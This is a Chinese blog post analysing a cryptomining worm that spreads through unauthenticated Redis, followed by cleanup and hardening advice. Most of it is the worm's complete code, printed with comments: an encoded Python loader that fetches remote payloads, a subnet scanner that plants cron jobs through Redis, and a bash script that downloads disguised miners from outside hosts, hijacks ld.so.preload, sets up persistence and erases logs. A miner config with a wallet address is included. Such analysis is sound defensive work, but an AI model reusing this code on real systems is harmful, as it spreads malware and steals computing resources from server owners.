当前位置: > Linux安全 >

基于Redis未授权访问的挖矿蠕虫分析

时间:2021-03-31 11:33来源:未知 作者:IT

0x01 攻击方式

利用的是通用漏洞入侵服务器并获得相关权限,从而植入挖矿程序再进行隐藏。

通过对脚本的分析,发现黑客主要是利用 Redis未授权访问漏洞进行入侵。脚本里有个python函数。


  1. import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))

base64解密完,发现个python脚本:


  1. #coding: utf-8
  2. import urllib
  3. import base64
  4.  
  5. d= 'https://pastebin.com/raw/eRkrSQfE'
  6. try:
  7. page=base64.b64decode(urllib.urlopen(d).read())
  8. exec(page)
  9. except:
  10. pass

作用是访问https://pastebin.com/raw/eRkrSQfE ,将里面的内容进行base64解密。然后运行。



base64解密后,发现还是个python脚本(我加入了注释):


  1. #! /usr/bin/env python
  2. #coding: utf-8
  3.  
  4. import threading
  5. import socket
  6. from re import findall
  7. import httplib
  8. import os
  9.  
  10. IP_LIST = []
  11.  
  12. class scanner(threading.Thread):
  13. tlist = [] #用来存储队列的线程
  14. maxthreads = 200 #最大的并发数量
  15. evnt = threading.Event() #用事件来让超过最大线程设置的并发程序等待
  16. lck = threading.Lock() #线程锁
  17.  
  18. def __init__(self,host):
  19. threading.Thread.__init__(self)
  20. self.host = host
  21. def run(self):
  22. try:
  23. #使用 Redis 的备份配置文件命令,将挖矿脚本写入 /var/spool/cron/root 文件中。
  24. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  25. s.settimeout(0.5)
  26. a = s.connect_ex((self.host, 6379))
  27. if a == 0:
  28. # */1 * * * * 指的是每分钟执行一次相关命令
  29. s.send('set backuprd "\\n\\n\\n*/1 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\\n\\n\\n"\r\n')
  30. s.send('config set dir /etc/cron.d/\r\n')
  31. s.send('config set dbfilename root\r\n')
  32. s.send('save\r\n')
  33. s.close()
  34.  
  35. except Exception:
  36. pass
  37. scanner.lck.acquire() #以下用来将完成的线程移除线程队列
  38. scanner.tlist.remove(self) #如果移除此完成的队列线程数刚好达到99,则说明有线程在等待执行,那么我们释放event,让等待事件执行
  39. if len(scanner.tlist) < scanner.maxthreads:
  40. scanner.evnt.set()
  41. scanner.evnt.clear()
  42. scanner.lck.release()
  43.  
  44. def newthread(host):
  45. scanner.lck.acquire() #上锁
  46. sc = scanner(host)
  47. scanner.tlist.append(sc)
  48. scanner.lck.release() #解锁
  49. sc.start()
  50. #将新线程方法定义为静态变量,供调用
  51. newthread = staticmethod(newthread)
  52.  
  53. #获取当前主机 IP, 据此构造出相关 B段 的IP 列表
  54. def get_ip_list():
  55. try:
  56. url = 'ident.me'
  57. conn = httplib.HTTPConnection(url, port=80, timeout=10) #获取到主机ip
  58. req = conn.request(method='GET', url='/', )
  59. result = conn.getresponse()
  60. ip2 = result.read()
  61. ips2 = findall(r'\d+.\d+.', ip2)[0]
  62. for i in range(0, 256):
  63. ip_list2 = (ips2 + (str(i)))
  64. for g in range(1, 256):
  65. IP_LIST.append(ip_list2 + '.' + (str(g)))
  66. except Exception:
  67. ip1 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip()
  68. ips1 = findall(r'\d+.\d+.', ip1)[0]
  69. for i in range(0, 255):
  70. ip_list1 = (ips1 + (str(i)))
  71. for g in range(1, 255):
  72. IP_LIST.append(ip_list1 + '.' + (str(g)))
  73. pass
  74.  
  75. #扫描当前主机 (略大于)B段的其他主机的 6379 端口
  76. def runPortscan():
  77. get_ip_list()
  78. for host in IP_LIST:
  79. scanner.lck.acquire()
  80. if len(scanner.tlist) >= scanner.maxthreads:
  81. scanner.lck.release()
  82. scanner.evnt.wait()
  83. else:
  84. scanner.lck.release()
  85. scanner.newthread(host)
  86. for t in scanner.tlist:
  87. t.join()
  88.  
  89. if __name__ == "__main__":
  90. runPortscan()
  91.  

关键攻击载荷


  1. def run(self):
  2. try:
  3. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4. s.settimeout(0.5)
  5. a = s.connect_ex((self.host, 6379))
  6. if a == 0:
  7. s.send('set backuprd "\\n\\n\\n*/1 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\\n\\n\\n"\r\n')
  8. s.send('config set dir /etc/cron.d/\r\n')
  9. s.send('config set dbfilename root\r\n')
  10. s.send('save\r\n')
  11. s.close()

使用 Redis 的备份配置文件命令,将相关内容写入 /var/spool/cron/root 文件中。 借此使用计划任务执行命令, 其中 */1 * * * * 指的是每分钟执行一次相关命令

整个python文件的作用就是蠕虫式传播,使用python对Redis未授权访问的利用,将挖矿文件传播给B段的IP存在漏洞的主机。

0x02 脚本解释

在挖矿脚本上加入了注释


  1. #!/bin/bash。
  2. SHELL=/bin/sh #此脚本使用/bin/sh
  3. PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin #环境变量,用于遍历/usr/下的所有目录和子目录的路径
  4.  
  5. function kills() { #设置函数变量 kills
  6. pkill -f sourplum #终止进程 将执行与完全进程参数字符串匹配 -f 为正则表达式模式
  7. pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg。 #终止wnTKYg进程 终止以ddg*为前缀的进程 删除/tmp/ddg* 为前缀的文件 删除/tmp/wnTKyg文件 &&先成功执行前面的命令在执行后面的命令
  8. rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
  9. rm -rf /tmp/*index_bak* #删除/tmp下的凡是index_bak的文件 **为通配符
  10. rm -rf /tmp/*httpd.conf*
  11. rm -rf /tmp/*httpd.conf
  12. rm -rf /tmp/a7b104c270
  13. ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9 #查询显示其他用户启动的进程(a)查看系统中属于自己的进程(x)启动这个进程的用户和它启动的时间(u)通过grep过滤出mine.moneropool.com字符串,通过awk 截取第二域 传递给kill
  14. ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
  15. ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
  16. ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
  17. ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
  18. ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
  19. ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
  20. ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
  21. ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
  22. ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
  23. ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
  24. ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
  25. ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
  26. ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
  27. pkill -f biosetjenkins #终止进程
  28. pkill -f AnXqV.yam
  29. pkill -f xmrigDaemon
  30. pkill -f xmrigMiner
  31. pkill -f xmrig
  32. pkill -f Loopback
  33. pkill -f apaceha
  34. pkill -f cryptonight
  35. pkill -f stratum
  36. pkill -f mixnerdx
  37. pkill -f performedl
  38. pkill -f JnKihGjn
  39. pkill -f irqba2anc1
  40. pkill -f irqba5xnc1
  41. pkill -f irqbnc1
  42. pkill -f ir29xc1
  43. pkill -f conns
  44. pkill -f irqbalance
  45. pkill -f crypto-pool
  46. pkill -f minexmr
  47. pkill -f XJnRj
  48. pkill -f NXLAi
  49. pkill -f BI5zj
  50. pkill -f askdljlqw
  51. pkill -f minerd
  52. pkill -f minergate
  53. pkill -f Guard.sh
  54. pkill -f ysaydh
  55. pkill -f bonns
  56. pkill -f donns
  57. pkill -f kxjd
  58. pkill -f Duck.sh
  59. pkill -f bonn.sh
  60. pkill -f conn.sh
  61. pkill -f kworker34
  62. pkill -f kw.sh
  63. pkill -f pro.sh
  64. pkill -f polkitd
  65. pkill -f acpid
  66. pkill -f icb5o
  67. pkill -f nopxi
  68. pkill -f irqbalanc1
  69. pkill -f minerd
  70. pkill -f i586
  71. pkill -f gddr
  72. pkill -f mstxmr
  73. pkill -f ddg.2011
  74. pkill -f wnTKYg
  75. pkill -f deamon
  76. pkill -f disk_genius
  77. pkill -f sourplum
  78. pkill -f bashx
  79. pkill -f bashg
  80. pkill -f bashe
  81. pkill -f bashf
  82. pkill -f bashh
  83. pkill -f XbashY
  84. pkill -f libapache
  85. rm -rf /tmp/httpd.conf
  86. rm -rf /tmp/conn
  87. rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
  88. rm -rf /tmp/conns
  89. rm -f /tmp/irq.sh
  90. rm -f /tmp/irqbalanc1
  91. rm -f /tmp/irq
  92. rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json
  93. netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 #查询网络状态 通过grep 筛选出69.28.55.86:443 将第7个字段输出,以/为分割符输出第一个字段,最后杀死名称中有xargs的进程
  94. netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  95. netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  96. netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  97. netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  98. netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  99. netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  100. netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  101. netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  102. y=$(netstat -anp | grep kworkerds | wc -l) #查询网络状态 筛选 进程名称为:kworkerds 统计进程目录下的文件行数
  103. if [ ${y} -eq 0 ];then
  104. netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 #查询网络状态 筛选 端口进程为:13531(此端口为矿池端口) 统计进程目录下的文件行数并以/分割 最后杀掉xgrgs 进程 如果命令成功执行则返回0
  105. fi
  106. }
  107.  
  108. function system() {
  109. if [ ! -f "/bin/httpdns" ]; then #如果 /bin/httpdns成立,则下载 https://pastebin.com/raw/Fj2YdETv 脚本,并赋予 755权限,此处为curl -fsSL安装
  110. curl -fsSL https://pastebin.com/raw/Fj2YdETv -o /bin/httpdns && chmod 755 /bin/httpdns #否则
  111. if [ ! -f "/bin/httpdns" ]; then
  112. wget https://pastebin.com/raw/Fj2YdETv -O /bin/httpdns && chmod 755 /bin/httpdns #如果 /bin/httpdns成立,则下载 https://pastebin.com/raw/Fj2YdETv 脚本,并赋予 755权限,此处为wget安装
  113. fi
  114. if [ ! -f "/etc/crontab" ]; then
  115. echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab #如果 /etc/crontab成立,则定期执行 echo -e "0 1 * * * root /bin/httpdns"将此命令输出到/etc/crontab下
  116. else
  117. sed -i '$d' /etc/crontab && echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab #否则先删除/etc/crontab 最后一行 并 写入计划任务echo -e "0 1 * * * root /bin/httpdns"输出到/etc/crontab
  118. fi
  119. fi
  120. }
  121.  
  122. function top() {
  123. mkdir -p /usr/local/lib/ #创建 /usr/local/lib/ 目录
  124. if [ ! -f "/usr/local/lib/libntp.so" ]; then #如果 libntp.so 文件存在
  125. curl -fsSL http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -o /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so #则允许一键命令下载木马命令到libntp.so (此图片木马内含有木马执行脚本仅修改了后缀,实则为木马执行脚本) 并赋予 755权限
  126. if [ ! -f "/usr/local/lib/libntp.so" ]; then #如果 libntp.so 存在
  127. wget http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -O /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so #则以wget 下载以后缀名为jpg的图片挖矿脚本 存储至 libntp.so 并赋予 755权限
  128. fi
  129. fi
  130. if [ ! -f "/etc/ld.so.preload" ]; then # 如果/etc/ld.so.preload存在,则输出libntp.s到ld.so.preload
  131. echo /usr/local/lib/libntp.so > /etc/ld.so.preload #则输出libntp.s到ld.so.preload
  132. else
  133. sed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libntp.so >> /etc/ld.so.preload #否则删除ld.so.preload最后一行内容并重新将libntp.so内容输出到ld.so.preload
  134. fi
  135. touch -acmr /bin/sh /etc/ld.so.preload #创建 新的文件ld.so.preload、libntp.so
  136. touch -acmr /bin/sh /usr/local/lib/libntp.so
  137. }
  138.  
  139. function python() {
  140. nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
  141. touch /tmp/.tmph #此处为调用的python脚本 进行的是base64编码加密 后面做详细的解释
  142. }
  143.  
  144. function echocron() {
  145. echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /etc/cron.d/root #定期执行下载任务输出到/etc/cron.d/root
  146. echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /etc/cron.d/system #定期执行下载任务输出到/etc/cron.d/syste
  147. echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /var/spool/cron/root #定期执行下载任务输出到/etc/cron.d/syste
  148. mkdir -p /var/spool/cron/crontabs #创建crontabs
  149. echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /var/spool/cron/crontabs/root #定期执行定期执行下载任务输出到/var/spool/cron/crontabs/root
  150. mkdir -p /etc/cron.hourly #创建cron.hourly
  151. curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron #下载图片木马脚本至oanacro并赋予755权限
  152. if [ ! -f "/etc/cron.hourly/oanacron" ]; then
  153. wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron #如果存在则下载图片马否则创建新的目录下载挖矿脚本输出到指定文件赋予755权限
  154. fi
  155. mkdir -p /etc/cron.daily
  156. curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
  157. if [ ! -f "/etc/cron.daily/oanacron" ]; then
  158. wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
  159. fi
  160. mkdir -p /etc/cron.monthly
  161. curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
  162. if [ ! -f "/etc/cron.monthly/oanacron" ]; then
  163. wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
  164. fi
  165. touch -acmr /bin/sh /var/spool/cron/root #创建文件,此处是上面输出的指定文件
  166. touch -acmr /bin/sh /var/spool/cron/crontabs/root
  167. touch -acmr /bin/sh /etc/cron.d/system
  168. touch -acmr /bin/sh /etc/cron.d/root
  169. touch -acmr /bin/sh /etc/cron.hourly/oanacron
  170. touch -acmr /bin/sh /etc/cron.daily/oanacron
  171. touch -acmr /bin/sh /etc/cron.monthly/oanacron
  172. }
  173.  
  174. function tables() {
  175. iptables -I INPUT -p TCP --dport 6379 -j REJECT #只允许本机访问 6379端口出于防止其他骇客访问
  176. iptables -I INPUT -s 127.0.0.1 -p tcp --dport 6379 -j ACCEPT
  177. service iptables save
  178. mkdir -p /tmp
  179. touch /tmp/.tables
  180. }
  181.  
  182. function downloadrun() {
  183. ps=$(netstat -anp | grep :13531 | wc -l) # 查询网络进程中开放的13531端口,如果/tmp/kworkerds存在则返回0并下载图片马脚本到/tmp/kworkerds 赋予755权限
  184. if [ ${ps} -eq 0 ];then
  185. if [ ! -f "/tmp/kworkerds" ]; then
  186. curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod 777 /tmp/kworkerds
  187. if [ ! -f "/tmp/kworkerds" ]; then
  188. wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -O /tmp/kworkerds && chmod 777 /tmp/kworkerds #否则以wget下载输出到/tmp/kworkerds赋予 755权限
  189. fi
  190. nohup /tmp/kworkerds >/dev/null 2>&1 & #后台持续执行输出到/dev/null重定向标准输出
  191. else
  192. nohup /tmp/kworkerds >/dev/null 2>&1 &
  193. fi
  194. fi
  195. }
  196.  
  197. function downloadrunxm() {
  198. pm=$(netstat -anp | grep :13531 | wc -l)
  199. if [ ${pm} -eq 0 ];then
  200. if [ ! -f "/bin/config.json" ]; then
  201. curl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod 777 /bin/config.json #同上段代码一样
  202. if [ ! -f "/bin/config.json" ]; then
  203. wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -O /bin/config.json && chmod 777 /bin/config.json
  204. fi
  205. fi
  206. if [ ! -f "/bin/kworkerds" ]; then
  207. curl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod 777 /bin/kworkerds
  208. if [ ! -f "/bin/kworkerds" ]; then
  209. wget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -O /bin/kworkerds && chmod 777 /bin/kworkerds
  210. fi
  211. nohup /bin/kworkerds >/dev/null 2>&1 &
  212. else
  213. nohup /bin/kworkerds >/dev/null 2>&1 &
  214. fi
  215. fi
  216. }
  217.  
  218. update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/TzBeq3AM ) #检查格组件是是否有更新
  219.  
  220. #有更新就会执行echocron替换相应的落地文件
  221. if [ ${update}x = "update"x ];then
  222. echocron
  223. else
  224. #判断是否存在.tables ,不存在运行tables函数
  225. if [ ! -f "/tmp/.tables" ]; then
  226. tables
  227. fi
  228. #判断是否存在.tmph ,不存在运行python函数
  229. if [ ! -f "/tmp/.tmph" ]; then
  230. rm -rf /tmp/.tmpg
  231. python
  232. fi
  233. #运行脚本函数
  234. kills
  235. downloadrun
  236. echocron
  237. system
  238. top
  239. #等待10s
  240. sleep 10
  241. ##判断是否存在13531端口的连接,没有的话运行downloadrunxm函数,及下载运行需要的文件
  242. port=$(netstat -anp | grep :13531 | wc -l)
  243. if [ ${port} -eq 0 ];then
  244. downloadrunxm
  245. fi
  246.  
  247. #清除相关登录日志、命令操作历史
  248. echo 0>/var/spool/mail/root
  249. echo 0>/var/log/wtmp
  250. echo 0>/var/log/secure
  251. echo 0>/var/log/cron
  252. fi
  253. #
  254. #
  255. #

首先检查格组件是是否有更新,有更新就会执行echocron替换相应的落地文件。

kills() 函数 删除旧版文件和杀死其他挖矿程序的进程及文件和端口

system() 函数 下载挖矿木马关键程序(就是downloadrun函数、downloadrunxm函数、echocron函数)并执行

top() 函数 以 so 文件劫持 (/etc/ld.so.preload) 的方式执行挖矿木马,是更隐蔽的执行方式

 

python() 函数

蠕虫式传播,使用python对Redis未授权访问的利用,将挖矿文件传播给B段的IP存在漏洞的主机

echocron() 函数

将挖矿文件写入各种目录,便于重生

tables()函数

iptables限制6379端口只允许本地访问,目的是避免被其他黑客再次入侵

downloadrun()函数

下载了elf(分析不来)文件保存为kworkerds,应该是挖矿文件

downloadrunxm()函数

下载了elf文件和一个config.json

config.json内容


  1. {
  2. "algo": "cryptonight",
  3. "api": {
  4. "port": 0,
  5. "access-token": null,
  6. "worker-id": null,
  7. "ipv6": false,
  8. "restricted": true
  9. },
  10. "av": 0,
  11. "background": false,
  12. "colors": true,
  13. "cpu-affinity": null,
  14. "cpu-priority": null,
  15. "donate-level": 0,
  16. "huge-pages": true,
  17. "hw-aes": null,
  18. "log-file": null,
  19. "max-cpu-usage": 100,
  20. "pools": [
  21. {
  22. "url": "stratum+tcp://xmr.f2pool.com:13531",
  23. "user": "47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA.xmrig",
  24. "pass": "x",
  25. "rig-id": null,
  26. "nicehash": false,
  27. "keepalive": false,
  28. "variant": 1
  29. }
  30. ],
  31. "print-time": 60,
  32. "retries": 5,
  33. "retry-pause": 5,
  34. "safe": false,
  35. "threads": null,
  36. "user-agent": null,
  37. "watch": false
  38. }

看到了钱包地址和挖矿地址 钱包地址:47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA 挖矿地址:stratum+tcp://xmr.f2pool.com:13531

该钱包地址收益

同时也明白了$(netstat -anp | grep :13531 | wc -l)查看是否连接了矿池的13531端口。目的是用来判断挖矿机是否正在运行。

0x03 清除方案

1.清理定时任务 (先清理定时任务,再删除挖矿病毒本体,防止再生)


  1. # 包括但不限于
  2. /etc/crontab
  3. /var/spool/cron/root
  4. /var/spool/cron/crontabs/root
  5. /etc/cron.d/system
  6. /etc/cron.d/root
  7. /etc/cron.hourly/oanacron
  8. /etc/cron.daily/oanacron
  9. /etc/cron.monthly/oanacron
  10. /etc/cron.monthly/oanacron

2.删除相关动态链接库


  1. # 包括但不限于
  2. /etc/ld.so.preload
  3. /etc/libjdk.so
  4. /usr/local/lib/md.so
  5. /usr/local/lib/screen.so
  6. /usr/local/lib/y.so

3.结束掉挖矿和 DDG 母体相关进程


  1. ps -ef | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg|kworkerds' | awk '{print $2}' | xargs kill -9

4.然后删除相应的恶意程序,主要在临时目录下。另外建议用 find/locate 再找一下如下关键字qW3xT ddg* wnTKYg 2t3ik 等, 尽可能清理干净。


  1. # 包括但不限于
  2. /tmp/qW3xT
  3. /tmp/ddgs.3013
  4. /tmp/ddgs.3012
  5. /tmp/wnTKYg
  6. /tmp/2t3ik
  7. /tmp/kworkerds

0x04 后期防护手段

将 Redis 服务关闭,并设置密码。 在 redis.conf 中找到 "requirepass" 字段,在后面填上你需要的密码,Redis 客户端也需要使用此密码来访问 Redis 服务,之后重启 Redis 服务,验证密码是否生效。 注意要使用强度较高的 Redis 密码,因为攻击者也可以通过简单的爆破功能,以扩大传播范围。








 

(责任编辑:IT)
------分隔线----------------------------
栏目列表
推荐内容